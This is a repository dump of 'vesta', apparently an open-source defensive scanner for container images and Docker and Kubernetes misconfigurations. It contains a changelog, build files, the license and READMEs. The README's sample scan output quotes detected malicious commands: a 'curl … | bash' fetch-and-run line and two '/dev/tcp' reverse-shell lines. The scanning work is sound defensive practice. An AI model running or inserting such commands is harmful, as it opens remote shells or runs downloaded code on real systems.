Repository: kvesta/vesta
Branch: main
Commit: a8941c99670d
Files: 93
Total size: 393.7 KB
Directory structure:
gitextract_xofttoh4/
├── .gitignore
├── CHANGELOG.md
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── README.zh-Hans.md
├── cli/
│ ├── analyze.go
│ ├── banner.go
│ ├── cobra.go
│ ├── command.go
│ └── scan.go
├── cmd/
│ └── vesta/
│ └── main.go
├── config/
│ └── conf.go
├── go.mod
├── go.sum
├── helm/
│ └── vesta/
│ ├── .helmignore
│ ├── Chart.yaml
│ ├── README.md
│ ├── templates/
│ │ ├── _helpers.tpl
│ │ ├── clusterrole.yaml
│ │ ├── clusterrolebinding.yaml
│ │ ├── job.yaml
│ │ └── serviceaccount.yaml
│ └── values.yaml
├── internal/
│ ├── analyzer/
│ │ ├── analyze.go
│ │ ├── analyze_test.go
│ │ ├── docker.go
│ │ ├── docker_history.go
│ │ ├── k8s_cni.go
│ │ ├── k8s_configuration.go
│ │ ├── k8s_dashboard.go
│ │ ├── k8s_pod.go
│ │ ├── k8s_rbac.go
│ │ ├── scanner.go
│ │ ├── testdata/
│ │ │ ├── Dockerfile
│ │ │ ├── clusterrolebinding.yaml
│ │ │ ├── configmap.yaml
│ │ │ ├── daemonset.yaml
│ │ │ ├── docker-compose.yaml
│ │ │ ├── job.yaml
│ │ │ ├── pod.yaml
│ │ │ ├── podsecuritypolicy.yaml
│ │ │ ├── pv.yaml
│ │ │ ├── pvc.yaml
│ │ │ ├── rolebinding.yaml
│ │ │ └── secret.yaml
│ │ └── utils.go
│ ├── encode.go
│ ├── extract.go
│ ├── inspect.go
│ ├── report/
│ │ ├── files.go
│ │ └── output.go
│ ├── scanner.go
│ ├── utils.go
│ └── vulnscan/
│ ├── scanner.go
│ ├── utils.go
│ └── vuln.go
└── pkg/
├── extractor.go
├── inspector/
│ ├── client.go
│ ├── container.go
│ ├── image.go
│ └── utils.go
├── layer/
│ ├── files.go
│ ├── integrator.go
│ ├── layer.go
│ └── manifest.go
├── match/
│ ├── match_test.go
│ ├── node_packs.go
│ ├── python_packs.go
│ └── utils.go
├── osrelease/
│ ├── analyzer.go
│ └── osversion.go
├── packages/
│ ├── apt.go
│ ├── arch.go
│ ├── general.go
│ ├── get_package.go
│ ├── go.go
│ ├── java.go
│ ├── node.go
│ ├── package.go
│ ├── parse_test.go
│ ├── php.go
│ ├── python.go
│ ├── rpm.go
│ ├── rust.go
│ └── testdata/
│ ├── gobintest
│ └── test.jar
└── vulnlib/
├── client.go
├── cvss.go
├── db.go
├── getvuln.go
└── oscs.go
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib
# Test binary, built with `go test -c`
*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
# Dependency directories (remove the comment below to include it)
# vendor/
.DS_Store
.idea/
output/
================================================
FILE: CHANGELOG.md
================================================
# 1.0.11 (2024.7.22)
## features
- Add checking of `CVE-2025-1974` nginx ingress RCE
## improvements
- Add adaptive scanning for image scanning after Docker Version 25.0.0
## fixed
- Fixed the empty value of inside ctx
- Check the length in pod container
- Fixed the circumstance of when ETCD is not in kube-system
- Add insecure opetions for kubeconfig login
# 1.0.10 (2024.2.2)
## features
- Add checking of `CVE-2024-21626`
- Add checking of `CVE-2024-3094` liblzma.so backdoor
## improvements
- Add the severity of each Linux capabilities
# 1.0.9 (2023.8.8)
## features
- Add account checking in `/etc/passwd`
- Add filesystem scanning
- Add checking of ingress nginx
- Add BearerToken for authentication
- Add insecure and server flags in k8s analysis
- Add environment checking in docker images
## improvements
- Add the counter of each severity
- Add some rules of annotation checking
- Delete the inside flag due to duplicate
- Add `.dockerconfigjson` in secret checking
- Add Docker Histories environment checking
- Add the date of kernel compiling checking in checking of kernel version
- Add the error output in image saving
## fixed
- Fix the out of range in container extract
# 1.0.8 (2023.6.6)
## features
- Add dangerous image used checking in Docker
- Add Docker Swarm Service checking
- Add checking of ephemeral-storage usage
## improvements
- Annotate the tag of image checking
## improvements
- Add unauthorized kubelet checking for each node
- Add support of k3s and k0s
## fixed
- fix the error of compared version
- fix the error of parameter input in file scan
# 1.0.7 (2023.4.1)
## features
- Add trampoline attacking check
- Add malicious value checking in docker history
- Add source `OSCS` for malware checking
- Add Windows path Volume checking
# 1.0.6 (2023.3.2)
## features
- Add Kubernetes `DaemonSet` checking
- Add rootkit and backdoor checking in K8s and Docker
- Add k8s version checking
- Add k8s `PodSecurityPolicy` checking for k8s version under the v1.25
## improvements
- Add some rules for CAP checking
- Change the namespace checking of Secret and ConfigMap
- Improve the rules of `DeamonSet` scanning
- Change the scan rules of `Job` and `CronJob`
- Optimize the method of annotation checking
## fixed
- fix the comparison of kernel version
- fix the errors of base64 decode
# 1.0.5 (2023.2.13)
## features
- Add Docker `--pid=host` checking
- Add Python pip analysis from poetry and venv
## improvements
- Change the minimum of downloaded vulnerable data year from 2002 to 2010
- Parse the env command in Docker Histories
- Rewrite method of java libraries, especially log4j
- Change the format of output of image scan
# 1.0.4 (2023.1.16)
## features
- Add sidecar Environment Checking, including `Env` and `EnvFrom`
- Add pip name checking, detect whether package is potential malware
- Add pod annotation checking
## improvements
- Change method of rpm analysis
- Change folder structure
- Change method of kernel version checking
- Change command `upgrade` to `update`
# 1.0.3 (2023.1.3)
## features
- Add java libraries analysis
- Add php libraries analysis
- Add rust libraries analysis
- Add istio checking
- Add Docker history analysis
## improvements
- Change the method of npm analysis
- Add mount filesystem for container scan
- Change method of cilium checking
- Change the method of image scanning
- Add RBAC User output for untrusted User checking
- Revise the rules of RBAC checking
## fixed
- Fixed error of version comparison
# 1.0.2 (2022.12.24)
## features
- Add cilium checking
- Add Kubelet `read-only-port` and `kubectl proxy` checking
- Add Etcd safe configuration checking
- Add RoleBinding checking
- Optimize layer integration
- Add go binary analysis
# 1.0.1 (2022.12.13)
## features
- Add weak password checking in Configmap and Secret
- Add weak password checking in Docker env
- Add `--skip` parameter for image or container scanning
- Add Envoy admin checking
# 1.0.0 (2022.12.4)
## features
- Image or Container scan
- Docker configuration scan
- Kubernetes configuration scan
================================================
FILE: Dockerfile
================================================
FROM golang:1.20 as builder
WORKDIR /build
COPY . .
ENV GOOS=linux CGO_ENABLED=1
RUN make build.unix
FROM alpine:3.17.3
WORKDIR /tool
COPY --from=builder /build/vesta .
RUN chmod +x /tool/vesta
ENTRYPOINT ["./vesta"]
================================================
FILE: LICENSE
================================================
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
================================================
FILE: Makefile
================================================
LDFLAGS := -ldflags '-s -w'
TAGS := -tags netgo
LDFLAGS_STATIC := -ldflags '-w -s -extldflags "-static"'
IMAGE_TAG := latest
APP := kvesta/vesta
.PHONY: build
build:
go build $(LDFLAGS) ./cmd/vesta
.PHONY: build.unix
build.unix:
go build $(TAGS) $(LDFLAGS_STATIC) ./cmd/vesta
.PHONY: clean
clean:
rm vesta
.PHONY: build.docker
build.docker:
docker build -t $(APP):$(IMAGE_TAG) .
.PHONY: run.docker
run.docker:
docker run --rm -ti --name vesta --network host -v `pwd`:/tool/output/ -v /var/run/docker.sock:/var/run/docker.sock ${APP}:${IMAGE_TAG} analyze docker
================================================
FILE: README.md
================================================
A static analysis of vulnerabilities, Docker and Kubernetes cluster configuration detect toolkit based on the real penetration of cloud computing.
[English](README.md) · [简体中文](README.zh-Hans.md)
## Overview
Vesta is a static analysis of vulnerabilities, Docker and Kubernetes cluster configuration detect toolkit. It inspects Kubernetes and Docker configures,
cluster pods, and containers with safe practices.
Vesta is a flexible toolkit which can run on physical machines in different types of systems (Windows, Linux, MacOS).
## What can vesta check
> Scan
- Support scanning input
- image
- container
- filesystem
- vm (TODO)
- Scan the vulnerabilities of major package managements
- apt/apt-get
- rpm
- yum
- dpkg
- Scan malicious packages and vulnerabilities of language-specific packages
- Java(Jar, War. major library: log4j)
- NodeJs(NPM, YARN)
- Python(Wheel, Poetry)
- Golang(Go binary)
- PHP(Composer, major frameworks: laravel, thinkphp, wordpress, wordpress plugins etc)
- Rust(Rust binary)
- Others(Others vulnerable which will cause a potential container escape and check suspicious poison image)
> Docker
| Supported | Check Item | Description | Severity | Reference |
|-----------|---------------------------|------------------------------------------------------------------------|---------------------------|---------------------------------------------------------------------------------------------|
| ✔ | PrivilegeAllowed | Privileged module is allowed. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | Capabilities | Dangerous capabilities are opening. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | Volume Mount | Mount dangerous location. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) |
| ✔ | Docker Unauthorized | 2375 port is opening and unauthorized. | critical | [Ref](https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.md) |
| ✔ | Kernel version | Kernel version is under the escape version. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) |
| ✔ | Network Module | Net Module is `host` and containerd version less than 1.41. | critical/medium | |
| ✔ | Pid Module | Pid Module is `host`. | high | |
| ✔ | Docker Server version | Server version is included the vulnerable version. | critical/high/ medium/low | |
| ✔ | Docker env password check | Check weak password in database. | high/medium | |
| ✔ | Docker History | Docker layers and environment have some dangerous commands. | high/medium | |
| ✔ | Docker Backdoor | Docker env command has malicious commands. | critical/high | |
| ✔ | Docker Swarm | Docker swarm has dangerous config or secrets or containers are unsafe. | medium/low | |
| ✔ | Docker supply chain | Docker supply chain has vulnerable configurations | critical/high/ medium | [Ref](https://github.com/kvesta/vesta/wiki/Docker-supply-chain-Checking-References) |
---
> Kubernetes
| Supported | Check Item | Description | Severity | Reference |
|-----------|----------------------------------------------------------|----------------------------------------------------------------------------|---------------------------|-----------------------------------------------------------------------------------------------------|
| ✔ | PrivilegeAllowed | Privileged module is allowed. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | Capabilities | Dangerous capabilities are opening. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |
| ✔ | PV and PVC | PV is mounted the dangerous location and is active. | critical/medium | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) |
| ✔ | RBAC | RBAC has some unsafe configurations in clusterrolebingding or rolebinding. | high/medium/ low/warning | |
| ✔ | Kubernetes-dashborad | Checking `-enable-skip-login` and account permission. | critical/high/low | [Ref](https://blog.heptio.com/on-securing-the-kubernetes-dashboard-16b09b1b7aca) |
| ✔ | Kernel version | Kernel version is under the escape version. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) |
| ✔ | Docker Server version (k8s versions is less than v1.24) | Server version is included the vulnerable version. | critical/high/ medium/low | |
| ✔ | Kubernetes certification expiration | Certification is expired after 30 days. | medium | |
| ✔ | ConfigMap and Secret check | Check weak password in ConfigMap or Secret. | high/medium/low | [Ref](https://github.com/kvesta/vesta/wiki/ConfigMap-and-Secret-Checking-References) |
| ✔ | PodSecurityPolicy check (k8s version under the v1.25) | PodSecurityPolicy tolerates dangerous pod configurations. | high/medium/low | [Ref](https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/) |
| ✔ | Auto Mount ServiceAccount Token | Mounting default service token. | critical/high/ medium/low | [Ref](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) |
| ✔ | NoResourceLimits | No resource limits are set. | low | [Ref](https://github.com/kvesta/vesta/wiki/Resource-limitation-Checking-References) |
| ✔ | Job and Cronjob | No seccomp or seLinux are set in Job or CronJob. | low | [Ref](https://www.aquasec.com/cloud-native-academy/docker-container/docker-cis-benchmark/) |
| ✔ | Envoy admin | Envoy admin is opening and listen to `0.0.0.0`. | high/medium | [Ref](https://www.envoyproxy.io/docs/envoy/latest/start/quick-start/admin#admin) |
| ✔ | Cilium version | Cilium has vulnerable version. | critical/high/ medium/low | [Ref](https://security.snyk.io/package/golang/github.com%2Fcilium%2Fcilium) |
| ✔ | Istio configurations | Istio has vulnerable version and vulnerable configurations. | critical/high/ medium/low | [Ref](https://istio.io/latest/news/security/) |
| ✔ | Kubelet 10250/10255 and Kubectl proxy | 10255/10250 port are opening and unauthorized or Kubectl proxy is opening. | high/medium/low | |
| ✔ | Etcd configuration | Etcd safe configuration checking. | high/medium | |
| ✔ | Sidecar configurations | Sidecar has some dangerous configurations. | critical/high/ medium/low | |
| ✔ | Pod annotation | Pod annotation has some unsafe configurations. | high/medium/ low/warning | [Ref](https://github.com/kvesta/vesta/wiki/Annotation-Checking-References) |
| ✔ | DaemonSet | DaemonSet has unsafe configurations. | critical/high/ medium/low | |
| ✔ | Backdoor | Backdoor Detection. | critical/high | [Ref](https://github.com/kvesta/vesta/wiki/Backdoor-Detection) |
| ✔ | Lateral admin movement | Pod specifics a master node. | medium/low | |
## Build
Vesta is built with Go 1.18.
```bash
make build
```
## Quick Start
Example of image or container scan, use `-f` to input by a tar file, start vesta:
```bash
# Container
vesta scan image cve-2019-14234_web:latest
vesta scan image -f example.tar
# Image
vesta scan container
vesta scan container -f example.tar
# Filesystem
vesta scan fs
```
Ouput:
```bash
2022/11/29 22:50:00 Searching for image
2022/11/29 22:50:19 Begin upgrading vulnerability database
2022/11/29 22:50:19 Vulnerability Database is already initialized
2022/11/29 22:50:19 Begin to analyze the layer
2022/11/29 22:50:35 Begin to scan the layer
Detected 216 vulnerabilities
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered |
| | | | | | | in Django 1.11.x before |
| | | | | | | 1.11.23, 2.1.x before 2.1.11, |
| | | | | | | and 2.2.x before 2.2.4. If |
| | | | | | | django.utils.text.Truncator's |
| | | | | | | chars() and words() methods |
| | | | | | | were passed the html=True |
| | | | | | | argument, t ... |
+-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered |
| | | | | | | in Django 1.11.x before |
| | | | | | | 1.11.23, 2.1.x before 2.1.11, |
| | | | | | | and 2.2.x before 2.2.4. |
| | | | | | | Due to the behaviour of |
| | | | | | | the underlying HTMLParser, |
| | | | | | | django.utils.html.strip_tags |
| | | | | | | would be extremely ... |
+-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in |
| | | | | | | Django 1.11.x before 1.11.23, |
| | | | | | | 2.1.x before 2.1.11, and 2.2.x |
| | | | | | | before 2.2.4. Due to an error |
| | | | | | | in shallow key transformation, |
| | | | | | | key and index lookups for |
| | | | | | | django.contrib.postgres.f ... |
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in |
| | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', |
| | | | | | | malicious command "curl https://vuln.com | bash" are |
| | | | | | | detected. |
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
Docker Histories:
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
| ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION |
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
| 1 | Image History | - / - | - | 0.0 | high | Confusion value found |
| | | | | | | in ENV: 'command' with |
| | | | | | | the plain text 'bash -i |
| | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 |
| | | | | | | '. |
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
| 2 | | - / - | - | 0.0 | medium | Docker history has found the |
| | | | | | | senstive environment with |
| | | | | | | key 'SECRET_KEY' and value: |
| | | | | | | 123456. |
+----+---------------+----------------------------+-------+-------+--------+--------------------------------+
```
Result

Example of docker config scan, start vesta:
```bash
vesta analyze docker
```
Or run with dokcer
```bash
make run.docker
```
Output:
```bash
2022/11/29 23:06:32 Start analysing
2022/11/29 23:06:32 Getting engine version
2022/11/29 23:06:32 Getting docker server version
2022/11/29 23:06:32 Getting kernel version
Detected 3 vulnerabilities
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: None | | | | the CVE-2022-0492 with |
| | | | | | CAP_SYS_ADMIN and v1 |
| | | | | | architecture of cgroups |
| | | | | | vulnerablility, has a |
| | | | | | potential container escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 3 | Name: Image Tag | Privileged | true | critical | There has a potential container|
| | ID: None | | | | escape in privileged module. |
| | | | | | |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found |
| | ID: None | | vesta_history_test:latest | | | in command: ' echo |
| | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > |
| | | | | | config.ini # buildkit'. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
```
Example of Kubernetes config scan, start vesta:
```bash
vesta analyze k8s
```
Output:
```bash
2022/11/29 23:15:59 Start analysing
2022/11/29 23:15:59 Getting docker server version
2022/11/29 23:15:59 Getting kernel version
Detected 4 vulnerabilities
Pods:
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential |
| | default | Status: Running | | Privileged | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has |
| | | env | | | | found weak password: |
| | | | | | | 'Password123456'. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds |
| | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: |
| | | | | | | 0.91 out of 1.0), which is a |
| | | | | | | suspect command backdoor. |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential |
| | default | Status: Running | | capabilities | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account |
| | | automountServiceAccountToken | | | | and key permission are |
| | | | | | | given, which will cause a |
| | | | | | | potential container escape. |
| | | | | | | Reference clsuterRolebind: |
| | | | | | | vuln-clusterrolebinding | |
| | | | | | | roleBinding: vuln-rolebinding |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. |
| | | Resource | | | | |
| | | | | | | |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
Configures:
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | | | | | the CVE-2022-0185 with |
| | | | | | CAP_SYS_ADMIN vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key |
| | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the |
| | | rolename: vuln-clusterrole | | pods, services | | default service account, which |
| | | kind: ClusterRole | subject | | | will cause a potential data |
| | | kind: Group | subject name: | | | leakage. |
| | | system:serviceaccounts:vuln | | | | |
| | | namespace: vuln | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key |
| | | | rolename: vuln-role | role | create, update | resources: | | resources given to the |
| | | kind: Role | subject kind: | pods, services | | default service account, which |
| | | ServiceAccount | subject name: | | | will cause a potential data |
| | | default | namespace: default | | | leakage. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given |
| | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', |
| | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. |
| | | subject kind: User | subject | | | |
| | | name: testUser | namespace: | | | |
| | | all | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
```
Result

## Help information
```bash
$./vesta -h
Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit
Tutorial is available at https://github.com/kvesta/vesta
Usage:
vesta [command]
Available Commands:
analyze Kubernetes analyze
completion Generate the autocompletion script for the specified shell
help Help about any command
scan Container scan
update Update vulnerability database
version Print version information and quit
Flags:
-h, --help help for vesta
```
## Event
### KCon 2023 Weapon list
- [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2)
================================================
FILE: README.zh-Hans.md
================================================
一款集容器扫描,Docker和Kubernetes配置基线检查于一身的工具
[English](README.md) · [简体中文](README.zh-Hans.md)
## 概述
vesta是一款集容器扫描,Docker和Kubernetes配置基线检查于一身的工具。检查内容包括镜像或容器中包含漏洞版本的组件,同时根据云上实战渗透经验检查Docker以及Kubernetes的危险配置
vesta同时也是一个灵活,方便的工具,能够在各种系统上运行,包括但不限于Windows,Linux以及MacOS
Demo

---
## 检查项
> Scan
- 支持输入的方式
- image
- container
- filesystem
- vm (TODO)
